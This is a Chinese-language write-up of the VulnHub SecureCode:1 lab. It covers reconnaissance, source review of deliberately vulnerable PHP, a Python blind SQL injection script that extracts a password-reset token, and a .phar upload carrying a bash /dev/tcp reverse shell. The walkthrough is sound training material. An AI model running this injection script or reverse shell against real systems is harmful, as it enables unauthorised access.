SecureCode1-vulnhub靶机👻

SecureCode1-vulnhub靶机👻

下载地址:https://www.vulnhub.com/entry/securecode-1,651/

描述

image

主机探测

nmap -sn 192.168.33.0/24
nmap -sS -p- -v -A 192.168.33.75

发现目标机器开启了80端口

web探测

  1. 访问IP得到如下页面:

image

  1. 目录扫描发现如下文件

命令:

ffuf -u http://192.168.33.75/FUZZ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -e .php,.html,.rar,.7zip,.tar.gz,.gz,.zip,.bak -o ffuf.txt -fs 3650

image

我们发现一个source_code.zip文件,应该是源码文件吧,下载下来看看,目录结构如下:

image

我们看看login页面是一个登陆页面,进不去,看到有一个忘记密码功能,点开发现能够测试出admin账号出来,然后他会发一个重置密码的邮件到你的邮箱,邮箱是啥不知道。

image

源码分析

刚刚我们获得网站的源码,接下来看看源码吧。

  1. /login/resetPassword.php
function generateToken(){
    $characters = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
    $charactersLength = strlen($characters);
    $randomString = '';
    for ($i = 0; $i < 15; $i++) {
        $randomString .= $characters[rand(0, $charactersLength - 1)];
    }
    return $randomString;
}

function send_email($username, $token){
    $message = "Hello ".htmlentities($username).",\n";
    $message .= "Please follow the link below to reset your password: \n";
    $message .= "http://".gethostname()."/doResetPassword.php?token=$token \n";
    $message .= "Thanks.\n";

    // get user email
    $data = mysqli_query($conn, "SELECT * FROM user WHERE username='$username'");
    while($result= mysqli_fetch_array($data)){
        $email = $result['email'];
    }
    @mail($email, "Reset Your Password", $message);

}
  1. /item/viewItem.php
  • 服务器中的大部分内容都需要经过身份验证的访问,除了这个
  • id 易受 SQL 注入攻击的参数
  • mysqli_real_escape_string 方法只清理一些特殊字符
  • 用户输入没有被完全过滤,我们仍然可以在没有任何特殊字符的情况下执行 SQL 注入
$id = mysqli_real_escape_string($conn, $_GET['id']);
$data = mysqli_query($conn, "SELECT * FROM item WHERE id = $id");
$result = mysqli_fetch_array($data);
  1. /item/updateItem.php
  • phar后缀能够上传文件
# 黑名单列表,没有phar后缀
$blacklisted_exts = array("php", "phtml", "shtml", "cgi", "pl", "php3", "php4", "php5", "php6");
if(isset($id, $id_user, $name, $imgname, $description, $price)){

    $ext = strtolower(pathinfo($imgname)['extension']);
    if(!in_array($ext, $blacklisted_exts)){

        $up = move_uploaded_file($_FILES['image']['tmp_name'], "image/".$imgname);
        $res = mysqli_query($conn, "UPDATE item SET name='$name', imgname='$imgname', description='$description',price='$price' WHERE id='$id'");
  1. 测试SQL注入
真:返回空白页面
http://192.168.33.75/item/viewItem.php?id=1%20and%201=1
假:跳转到登陆页面
http://192.168.33.75/item/viewItem.php?id=1%20and%201=2

通过脚本跑出token:(获取token之前进行忘记密码请求,从而生成token)

#!/usr/bin/python3
import requests

token = ''
position = 1

while(1):
    for i in range(0,255):
        url = 'http://192.168.33.75/item/viewItem.php?id=1+AND+(SELECT+IF(1,(ASCII(SUBSTRING((SELECT+token+FROM+user+where+id=1),' + str(position) + ',1))=' + str(i) + '),0))'
        r = requests.get(url)
        if r.status_code == 404:            
            token = token+str(chr(i))
            position = position + 1
            print(token)
    if len(token) == 15:        
        break

通过token重置管理员密码:

image

修改密码之后登录,发现第一个flag

image

然后我们刚刚分析源码不是还有一个phar的文件上传漏洞吗,构造php的反弹shell文件上传然后在本地监听连接

反弹shell代码:

<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.139.132/3344 0>&1'"); ?>

image

然后我们在/var/www/目录下发现第二个flag文件

image

总结

到这里我们的两个flag都找到了,这台机器只有两个flag文件。👻


posted @ 2022-01-17 17:41  胖三斤1  阅读(333)  评论(0编辑  收藏  举报
Live2D